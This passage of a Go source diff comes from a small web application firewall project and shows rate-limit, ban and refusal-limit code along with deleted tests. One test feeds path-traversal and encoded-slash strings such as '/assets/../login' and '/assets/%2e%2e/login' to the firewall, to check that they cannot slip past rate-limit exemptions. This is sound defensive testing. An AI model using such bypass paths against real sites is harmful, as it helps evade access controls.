) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
cfg := params.Config
lists := reputation.New(reputation.Params{
BlocklistURLs: cfg.BlocklistURLs, Refresh: cfg.BlocklistRefresh,
ASNLimitPercentURL: cfg.ASNLimitPercentURL,
TagLists: cfg.TagLists,
CrowdSecDecisionsURL: cfg.CrowdSecDecisionsURL, CrowdSecKey: cfg.CrowdSecKey,
Now: params.Now, ProcessLog: params.ProcessLog, Alerts: params.Alerts,
})
dnsbl := reputation.NewDNSBL(reputation.DNSBLParams{
Zones: cfg.DNSBLZones, Resolver: cfg.DNSBLResolver, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
abuseIPDB := reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
URL: params.AbuseIPDBURL, Key: cfg.AbuseIPDBKey, MinScore: cfg.AbuseIPDBMinScore,
DailyBudget: cfg.AbuseIPDBDailyBudget, CacheTTL: cfg.ReputationCacheTTL,
Timeout: cfg.ReputationTimeout, Now: params.Now, ProcessLog: params.ProcessLog,
Alerts: params.Alerts,
})
m.AddReputation(lists, dnsbl)
if cfg.AbuseIPDBKey != "" {
m.AddAbuseIPDB(abuseIPDB)
}
return lists, dnsbl, abuseIPDB
}
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// an error in every mode. While the mode is off, a set file is loaded with the
// Core Rule Set only to check it.
func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
if cfg.WAFMode == config.WAFModeOff && cfg.CoreRuleSetExclusionsFile == "" {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
}
coreRuleSet, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
})
if err != nil {
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
}
if cfg.WAFMode == config.WAFModeOff {
return nil, nil //nolint:nilnil // off is no Core Rule Set, and no error
}
return coreRuleSet, nil
}
// handler is discriminator's handler. It holds what every request shares; what
// belongs to one request is in a request.
type handler struct {
config *config.Config
requestLog io.Writer
processLog *slog.Logger
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
routeWatch *routewatch.Client
rules *rules.Files
coreRuleSet *coreruleset.CoreRuleSet
alerts *alerts.Queue
// awaitingReport holds the decision on each answered question by its id
// until its report comes, and nil for a question still being handled.
awaitingReport *lru.Cache[string, *decision]
}
internal/discriminator/proxy_test.go
-611
View File
@@ -1,611 +0,0 @@
package discriminator_test
import (
"bufio"
"bytes"
"encoding/json"
"io"
"log/slog"
"maps"
"net"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rproxy"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
const (
// waitLimit bounds how long a test waits for what should happen.
waitLimit = 10 * time.Second
// pollInterval is how often a test looks for a log line.
pollInterval = 10 * time.Millisecond
// localhost is where every test server listens, and so the address rproxy
// sees each test's requests come from.
localhost = "127.0.0.1"
// requestType is the type that marks a request log line.
requestType = "request"
// protocol is the protocol of every question.
protocol = "HTTP/1.1"
// trustLocalhost trusts the address every test connects from, and a
// network for proxies in front of it.
trustLocalhost = localhost + "/32,10.0.0.0/8"
// appHost is the host every test asks for.
appHost = "app.example"
// client is the client's address, as a proxy names it.
client = "203.0.113.9"
// forwardedFor is the header that lists the client and its proxies,
// and forwardedProto the one that gives the scheme the client used.
forwardedFor = "X-Forwarded-For"
forwardedProto = "X-Forwarded-Proto"
// secure is the scheme a client reached traefik with, and plain the one
// rproxy serves.
secure = "https"
plain = "http"
)
// The settings the tests set.
const (
mode = "SWW_MODE"
trustedProxies = "SWRP_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWW_LOOKUP_DB_PATH"
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_TAG_DENY"
// denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
denyKP = "country=KP"
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_BAN_RESPONSE"
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_MAX_BAN_DURATION"
maxBans = "SWW_MAX_BANS"
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_INSTANCE_NAME"
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
rulesDir = "SWW_RULES_DIR"
wafMode = "SWW_WAF_MODE"
)
// off is the value that switches a setting off.
const off = "off"
// on is the value that switches a setting that takes true or false on.
const on = "true"
// output collects what sww writes on stdout.
type output struct {
mu sync.Mutex
buf bytes.Buffer
}
// Write adds lines sww writes.
func (o *output) Write(p []byte) (int, error) {
o.mu.Lock()
defer o.mu.Unlock()
return o.buf.Write(p)
}
// text returns everything written so far.
func (o *output) text() string {
o.mu.Lock()
defer o.mu.Unlock()
return o.buf.String()
}
// lines returns every line written so far, decoded.
func (o *output) lines(t *testing.T) []map[string]any {
t.Helper()
o.mu.Lock()
defer o.mu.Unlock()
var lines []map[string]any
for text := range strings.Lines(o.buf.String()) {
var line map[string]any
err := json.Unmarshal([]byte(text), &line)
if err != nil {
t.Fatalf("output line %q is not JSON: %v", text, err)
}
lines = append(lines, line)
}
return lines
}
// logLine is a request log line, as typed fields and as the JSON object
// it was written as.
type logLine struct {
requestlog.Line
fields map[string]any
}
// requestLines waits for count request log lines and returns them.
func (o *output) requestLines(t *testing.T, count int) []logLine {
t.Helper()
deadline := time.Now().Add(waitLimit)
for time.Now().Before(deadline) {
var found []logLine
for _, fields := range o.lines(t) {
if fields["type"] == requestType {
found = append(found, decodeLine(t, fields))
}
}
if len(found) >= count {
return found
}
time.Sleep(pollInterval)
}
t.Fatalf("fewer than %d request log lines after %s", count, waitLimit)
return nil
}
// requestLine waits for the request log line of a test's one request.
func (o *output) requestLine(t *testing.T) logLine {
t.Helper()
return o.requestLines(t, 1)[0]
}
// endedLines waits for count requests that went through rproxy, or to discriminator's
// own endpoints, to have ended, and returns the last log line of each, in the
// order discriminator took them. A question's last line is the one its report writes.
func (o *output) endedLines(t *testing.T, count int) []logLine {
t.Helper()
deadline := time.Now().Add(waitLimit)
for time.Now().Before(deadline) {
found := o.lastLines(t)
ended := len(found) >= count
for _, line := range found[:min(count, len(found))] {
if line.DiscriminatorLine == requestlog.DiscriminatorLineDecision {
ended = false
}
}
if ended {
return found
}
time.Sleep(pollInterval)
}
t.Fatalf("fewer than %d requests have ended after %s", count, waitLimit)
return nil
}
// lastLines returns the last request log line written so far of each request,
// in the order discriminator took them.
func (o *output) lastLines(t *testing.T) []logLine {
t.Helper()
var found []logLine
places := map[string]int{}
for _, fields := range o.lines(t) {
if fields["type"] != requestType {
continue
}
line := decodeLine(t, fields)
place, seen := places[line.RequestID]
if seen {
found[place] = line
continue
}
places[line.RequestID] = len(found)
found = append(found, line)
}
return found
}
// endedLine waits for a test's one request to have ended, and returns its last
// log line.
func (o *output) endedLine(t *testing.T) logLine {
t.Helper()
return o.endedLines(t, 1)[0]
}
// decodeLine reads a request log line's fields into a logLine.
func decodeLine(t *testing.T, fields map[string]any) logLine {
t.Helper()
encoded, err := json.Marshal(fields)
if err != nil {
t.Fatalf("encode %v: %v", fields, err)
}
line := logLine{fields: fields}
err = json.Unmarshal(encoded, &line.Line)
if err != nil {
t.Fatalf("decode %s: %v", encoded, err)
}
return line
}
// startApp starts app as the app rproxy passes requests to.
func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server {
t.Helper()
server := httptest.NewServer(app)
t.Cleanup(server.Close)
return server
}
// startProxy starts discriminator, and rproxy in front of the app at appURL, each with
// the settings in env on top of the defaults, and returns where rproxy listens
// and what discriminator writes.
func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) {
t.Helper()
return startProxyWithGeoJS(t, appURL, "", env)
}
// startProxyWithGeoJS is startProxy with clients' AS numbers and
// countries looked up at geojsURL.
func startProxyWithGeoJS(
t *testing.T, appURL, geojsURL string, env map[string]string,
) (string, *output) {
t.Helper()
addr, out, _ := startProxyWithClock(t, appURL, geojsURL, time.Now, env)
return addr, out
}
// startProxyWithClock is startProxyWithGeoJS with requests counted and
// bans made by the time now tells, and returns discriminator's server as well, whose
// Addr is where discriminator listens. Unless env sets SWW_RULES_DIR, it is an empty
// directory, of no rules, and unless it sets SWW_INSTANCE_NAME, that is app,
// the label instance of every metric.
func startProxyWithClock(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
) (string, *output, *discriminator.Server) {
t.Helper()
addr, out, server, _ := startProxyWithAlerts(t, appURL, geojsURL, now, env)
return addr, out, server
}
// startProxyWithAlerts is startProxyWithClock, and returns the queue of
// the alerts discriminator raises as well, as newDiscriminator makes them.
func startProxyWithAlerts(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
) (string, *output, *discriminator.Server, *alerts.Queue) {
t.Helper()
server, out, alertQueue := newDiscriminator(t, geojsURL, now, env)
serve(t, server)
return startRProxy(t, server.Addr, appURL, env), out, server, alertQueue
}
// serve serves server on a port of its own until the test ends, and sets its
// Addr to where it listens.
func serve(t *testing.T, server *discriminator.Server) {
t.Helper()
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
server.Addr = listener.Addr().String()
go func() {
_ = server.Serve(listener)
}()
t.Cleanup(func() {
_ = server.Close()
})
}
// startRProxy starts rproxy in front of the app at appURL, asking the discriminator
// at discriminatorAddr, with the settings in env on top of the defaults, and returns
// where it listens. What it writes is dropped. SWRP_TIMEOUT_MS is a minute unless
// env sets it, so that on a busy host SWRP_DEFAULT_DISPOSITION does not decide.
func startRProxy(
t *testing.T, discriminatorAddr, appURL string, env map[string]string,
) string {
t.Helper()
settings := map[string]string{
"SWRP_WAF_BACKEND": "http://" + discriminatorAddr,
"SWRP_UPSTREAM_URL": appURL,
"SWRP_TIMEOUT_MS": "60000",
}
maps.Copy(settings, env)
cfg, err := config.RProxyFromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
server := rproxy.New(rproxy.Params{
Config: cfg,
RequestLog: io.Discard,
ProcessLog: requestlog.NewProcessLogger(io.Discard, "rproxy", slog.LevelInfo),
})
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0")
if err != nil {
t.Fatalf("listen: %v", err)
}
go func() {
_ = server.Serve(listener)
}()
t.Cleanup(func() {
_ = server.Close()
})
return listener.Addr().String()
}
// newDiscriminator makes discriminator's server, without starting it, and
// returns it, what it writes, and the queue of the alerts it raises, as the
// settings in env make it. No alert is sent from the queue: they wait in it,
// for the test to look at.
// With no geojsURL, there is no stand-in for GeoJS to look clients up at, and
// SWW_LOOKUP_SOURCE is off unless env sets it. While it is file, the lookup
// database SWW_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWW_ABUSEIPDB_KEY. SWW_WAF_MODE is off unless
// env sets it, so that only the tests of the Core Rule Set have their requests
// inspected by it.
func newDiscriminator(
t *testing.T, geojsURL string, now func() time.Time, env map[string]string,
) (*discriminator.Server, *output, *alerts.Queue) {
t.Helper()
return newDiscriminatorWith(t, discriminator.New, geojsURL, now, env)
}
// newDiscriminatorWith is newDiscriminator for the server build makes.
func newDiscriminatorWith(
t *testing.T, build func(discriminator.Params) *discriminator.Server,
geojsURL string, now func() time.Time, env map[string]string,
) (*discriminator.Server, *output, *alerts.Queue) {
t.Helper()
settings := map[string]string{
rulesDir: t.TempDir(), instanceName: "app", wafMode: off,
}
if geojsURL == "" {
settings[lookupSource] = off
}
maps.Copy(settings, env)
cfg, err := config.FromEnvironment(func(name string) (string, bool) {
value, ok := settings[name]
return value, ok
})
if err != nil {
t.Fatalf("settings %v: %v", settings, err)
}
out := &output{}
processLog := requestlog.NewProcessLogger(out, cfg.InstanceName, cfg.LogLevel)
ruleFiles, err := rules.Load(rules.Params{
Dir: cfg.RulesDir, Enabled: cfg.RulesEnabled, ProcessLog: processLog,
})
if err != nil {
t.Fatalf("rule files: %v", err)
}
alertQueue := alerts.New(alerts.Params{
WebhookURL: cfg.AlertWebhookURL,
Events: cfg.AlertEvents,
Cooldown: cfg.AlertCooldown,
MaxPerHour: cfg.AlertMaxPerHour,
Instance: cfg.InstanceName,
Now: now,
ProcessLog: processLog,
})
var lookupFile *lookup.File
if cfg.LookupSource == fileSource {
lookupFile, err = lookup.OpenFile(lookup.FileParams{
Path: cfg.LookupDBPath, Now: now, ProcessLog: processLog, Alerts: alertQueue,
})
if err != nil {
t.Fatalf("lookup database: %v", err)
}
}
coreRuleSet, err := discriminator.NewCoreRuleSet(cfg)
if err != nil {
t.Fatalf("Core Rule Set: %v", err)
}
server := build(discriminator.Params{
Config: cfg,
RequestLog: out,
ProcessLog: processLog,
GeoJSURL: geojsURL,
AbuseIPDBURL: abuseIPDBURL,
LookupFile: lookupFile,
CoreRuleSet: coreRuleSet,
Now: now,
Rules: ruleFiles,
Alerts: alertQueue,
})
return server, out, alertQueue
}
// newClient returns an HTTP client that sends requests as they are made,
// with no compression of its own.
func newClient(t *testing.T) *http.Client {
t.Helper()
transport := &http.Transport{DisableCompression: true}
t.Cleanup(transport.CloseIdleConnections)
return &http.Client{Transport: transport}
}
// answer is a response as a test reads it: the status, the headers, as
// much of the body as arrived, and the error that ended the reading, nil
// when the whole body arrived.
type answer struct {
status int
header http.Header
body []byte
err error
}
// readAnswer reads all of res, and closes its body.
func readAnswer(res *http.Response) answer {
body, err := io.ReadAll(res.Body)
_ = res.Body.Close()
return answer{status: res.StatusCode, header: res.Header, body: body, err: err}
}
// newRequest makes a request for path to addr, where rproxy or discriminator listens.
func newRequest(t *testing.T, method, addr, path string, body io.Reader) *http.Request {
t.Helper()
req, err := http.NewRequestWithContext(t.Context(), method, "http://"+addr+path, body)
if err != nil {
t.Fatalf("new request: %v", err)
}
return req
}
// do sends req and reads the answer.
func do(t *testing.T, req *http.Request) answer {
t.Helper()
res, err := newClient(t).Do(req)
if err != nil {
t.Fatalf("%s %s: %v", req.Method, req.URL.Path, err)
}
return readAnswer(res)
}
// get sends a GET request for path to addr.
func get(t *testing.T, addr, path string) answer {
t.Helper()
return do(t, newRequest(t, http.MethodGet, addr, path, http.NoBody))
}
// dial opens a connection to addr, for requests the HTTP client cannot make,
// such as one that stops sending halfway.
func dial(t *testing.T, addr string) net.Conn {
t.Helper()
conn, err := (&net.Dialer{}).DialContext(t.Context(), "tcp", addr)
if err != nil {
t.Fatalf("dial %s: %v", addr, err)
}
t.Cleanup(func() {
_ = conn.Close()
})
return conn
}
// send writes text to conn.
func send(t *testing.T, conn net.Conn, text string) {
t.Helper()
_, err := io.WriteString(conn, text)
if err != nil {
t.Fatalf("send: %v", err)
}
}
// readResponse reads the answer to a request sent on conn.
func readResponse(t *testing.T, conn net.Conn) answer {
t.Helper()
err := conn.SetReadDeadline(time.Now().Add(waitLimit))
if err != nil {
t.Fatalf("set read deadline: %v", err)
}
res, err := http.ReadResponse(bufio.NewReader(conn), nil)
if err != nil {
t.Fatalf("read response: %v", err)
}
return readAnswer(res)
}
// wantLine checks the request log line's status and action.
func wantLine(t *testing.T, line logLine, status int, action string) {
t.Helper()
if line.Status != status || line.Action != action {
t.Errorf("log line has status %d and action %q, want %d and %q",
line.Status, line.Action, status, action)
}
}
// wantStatus checks an answer's status.
func wantStatus(t *testing.T, got answer, status int) {
t.Helper()
if got.status != status {
t.Errorf("status %d, want %d", got.status, status)
}
}
internal/discriminator/ratelimits.go
-69
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@@ -1,69 +0,0 @@
package discriminator
// The heuristic rate_limits. It reads SWW_RATE_LIMIT_EXEMPT_NETS,
// SWW_RATE_LIMIT_EXEMPT_PATHS and SWW_BAN_RESPONSE, and the rate limits and
// biased thresholds through the limiter and limitPercentages.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// rateLimits counts the request for the rate limits, unless
// countedByRateLimits exempts it, by the client's limit percentages, which it
// notes for the log line with the client's counts. A request that takes the
// client over a rate limit, as its limit percentage lowers it, breaks it: it is
// refused, and bans the client. A request exempt from the rate limits is exempt
// from the byte limits too. Its figures are the window, the count and the
// limit.
type rateLimits struct{}
func (rateLimits) name() string { return "rate_limits" }
func (rateLimits) check(_ context.Context, rq *request, now time.Time) *verdict {
rq.counted = rq.countedByRateLimits()
if !rq.counted {
return nil
}
rq.rateLimitPercent, rq.bytesLimitPercent = rq.limitPercentages()
rq.line.RateLimitPercent, rq.line.RateLimitPercentSetting =
rq.rateLimitPercent.logged()
rq.line.BytesLimitPercent, rq.line.BytesLimitPercentSetting =
rq.bytesLimitPercent.logged()
counts, hit, over := rq.h.limiter.Count(rq.h.clientGroup(rq.client), now,
rq.rateLimitPercent.percent)
rq.line.Counts = counts
if !over {
return nil
}
rq.banForLimit(now, hit, rq.h.config.BanResponse)
return &verdict{
action: requestlog.ActionClientIsRateLimited, figures: limitFigures(hit),
}
}
// overAWholeRateLimit reports whether the heuristic rate_limits will refuse the
// request at now, whatever its client's limit percentages: the rate limits
// count it, and one more request from its client takes it over a whole rate
// limit. It counts nothing.
func (rq *request) overAWholeRateLimit(now time.Time) bool {
return rq.countedByRateLimits() &&
rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now)
}
// countedByRateLimits reports whether the rate limits count the request: its
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
func (rq *request) countedByRateLimits() bool {
cfg := rq.h.config
return !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
}
internal/discriminator/ratelimits_test.go
-220
View File
@@ -1,220 +0,0 @@
package discriminator_test
import (
"net/http"
"sync/atomic"
"testing"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
// limit_hit names it.
const minute = "minute"
func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
t.Parallel()
var calls atomic.Int32
app := startApp(t, func(http.ResponseWriter, *http.Request) {
calls.Add(1)
})
addr, out := startProxy(t, app.URL, map[string]string{
trustedProxies: trustLocalhost,
rateLimitPerMinute: "1",
})
const otherClient = "203.0.113.10"
// With a limit of one request a minute, a client's second request is
// refused, with 403 by default. A client is one IPv4 address, or one
// IPv6 /64; an IPv4 address in IPv6 form is that IPv4 address.
requests := []struct {
client string // as X-Forwarded-For names it
logged string // as the log line's client_ip names it
want int
}{
{client, client, http.StatusOK},
{client, client, http.StatusForbidden},
{otherClient, otherClient, http.StatusOK},
{"::ffff:" + otherClient, otherClient, http.StatusForbidden},
{"2001:db8::1", "2001:db8::1", http.StatusOK},
{"2001:db8::8000:0:0:1", "2001:db8::8000:0:0:1", http.StatusForbidden},
{"2001:db8:0:1::1", "2001:db8:0:1::1", http.StatusOK},
}
for i, sent := range requests {
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, sent.client)
wantStatus(t, do(t, req), sent.want)
line := out.endedLines(t, i+1)[i]
if line.ClientIP != sent.logged {
t.Errorf("log line has client_ip %q, want %q", line.ClientIP, sent.logged)
}
if sent.want == http.StatusOK {
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
} else {
wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute {
t.Errorf("log line has limit_hit %q, want minute", line.LimitHit)
}
}
}
if calls.Load() != 4 {
t.Errorf("the app was called %d times, want 4", calls.Load())
}
}
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`)
}
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
t.Parallel()
// With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// /64s of one /48, are one client, and the second's request breaks the
// limit; the third, in the next /48, is another client.
const (
first = "2001:db8:9::1"
second = "2001:db8:9:1::1"
other = "2001:db8:a::1"
)
for _, tc := range []struct {
setting, value string
// status and action are those of the request that breaks the
// limit: a rate limit refuses it, a byte limit passes it on.
status int
action string
}{
{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionClientIsRateLimited},
{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
} {
t.Run(tc.setting, func(t *testing.T) {
t.Parallel()
s, _ := startWithAnswers(t, map[string]string{
ipv6GroupPrefix: "48", tc.setting: tc.value,
})
s.get(first, http.StatusOK, requestlog.ActionForward)
line := s.get(second, tc.status, tc.action)
if line.ClientGroup != "2001:db8:9::/48" ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has client_group %q and offence %q, "+
"want 2001:db8:9::/48 and limit", line.ClientGroup, line.Offence)
}
s.get(other, http.StatusOK, requestlog.ActionForward)
})
}
}
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_DENY_NETS
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
rateLimitPerMinute: "1",
rateLimitExemptPaths: "/assets/,/favicon.ico",
denyNets: denied,
tagDeny: denyKP,
})
// The answers are kept before the requests, so that none waits for
// GeoJS.
server.GeoJS.Load([]lookup.Answer{
keptAnswer(client, "DE"), keptAnswer(fromKP, "KP"),
})
// With a limit of one request a minute, the requests for paths under a
// prefix are not counted, so client's first request for / is within
// the limit; and once client has reached it, they are not refused.
s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
s.request(client, "/favicon.ico?v=2", http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.request(client, "/assets/app.js", http.StatusOK, requestlog.ActionForward)
if line.LimitHit != "" || line.Counts != (ratelimit.Counts{}) {
t.Errorf("log line has limit_hit %q and counts %+v, want neither",
line.LimitHit, line.Counts)
}
// A path outside every prefix is counted: /assets is not under
// /assets/, and breaks the limit.
s.request(client, "/assets", http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
// A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
// prefix.
s.request(client, "/assets/app.js", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
s.request(denied, "/assets/app.js", http.StatusForbidden,
requestlog.ActionClientDenied)
s.request(fromKP, "/assets/app.js",
http.StatusForbidden, requestlog.ActionClientDenied)
}
func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
t.Parallel()
for _, sent := range []string{
// A prefix matches only at the start of the path.
"/static/assets/app.js",
// A prefix matches the path as sent: a router that matches the
// path as received does not take /%61ssets/x for a path under
// /assets/.
"/%61ssets/x",
// .. once percent-decoded: an app may act on these as /login, the
// last as a path under /sneak/app/ or as /assets/x.
"/assets/../login",
"/assets/%2e%2e/login",
"/assets/..%2Flogin",
"/assets/..;/login",
"/sneak/app/src/branch/main/..%2F..%2F..%2F..%2F..%2F..%2Fassets/x",
// Not under /assets/ as sent: Go's router takes /assets%2Fx for one
// path segment, not a path under /assets/.
"/assets%2Fx",
"/assets%2fx",
// Under /assets/ as sent, but holding an encoded slash, in either
// case, or a backslash: never exempt, whatever the prefix.
"/assets/x%2Fy",
"/assets/x%2fy",
`/assets/x\y`,
// The same with a character Go escapes, |, for which Go's
// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
"/assets/x%2Fy|z",
} {
t.Run(sent, func(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rateLimitPerMinute: "1",
rateLimitExemptPaths: "/assets/",
})
// Counted, the second request breaks the limit of one request
// a minute.
s.request(client, sent, http.StatusOK, requestlog.ActionForward)
s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
})
}
}
internal/discriminator/refusallimit.go
-54
View File
@@ -1,54 +0,0 @@
package discriminator
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
// SWW_BAN_RESPONSE.
import (
"context"
"net/http"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// refusalLimit counts the request once it has been answered, if discriminator
// refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit.
type refusalLimit struct{}
func (refusalLimit) name() string { return "refusal_limit" }
func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return nil
}
if !rq.attack && !rq.blockedByBlockRule && !rq.blockedByCoreRuleSet {
return nil
}
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return nil
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
status = http.StatusForbidden
case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
return &verdict{figures: limitFigures(hit)}
}
internal/discriminator/refusallimit_test.go
-398
View File
@@ -1,398 +0,0 @@
package discriminator_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which discriminator refuses after a rule
// file match.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
case banRule:
return s.request(from, probePath, http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, the metrics token and
// SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *discriminator.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
// nextAction is the action of the client's next request: the next
// request after a ban for a ban rule makes it permanent.
nextAction string
}{
{
"block rule",
[]refused{blockRule, blockRule, blockRule, blockRule},
requestlog.ActionTemporarilyBanned,
},
{
"a ban rule last",
[]refused{blockRule, blockRule, blockRule, banRule},
requestlog.ActionPermanentlyBanned,
},
} {
t.Run(tc.name, func(t *testing.T) {
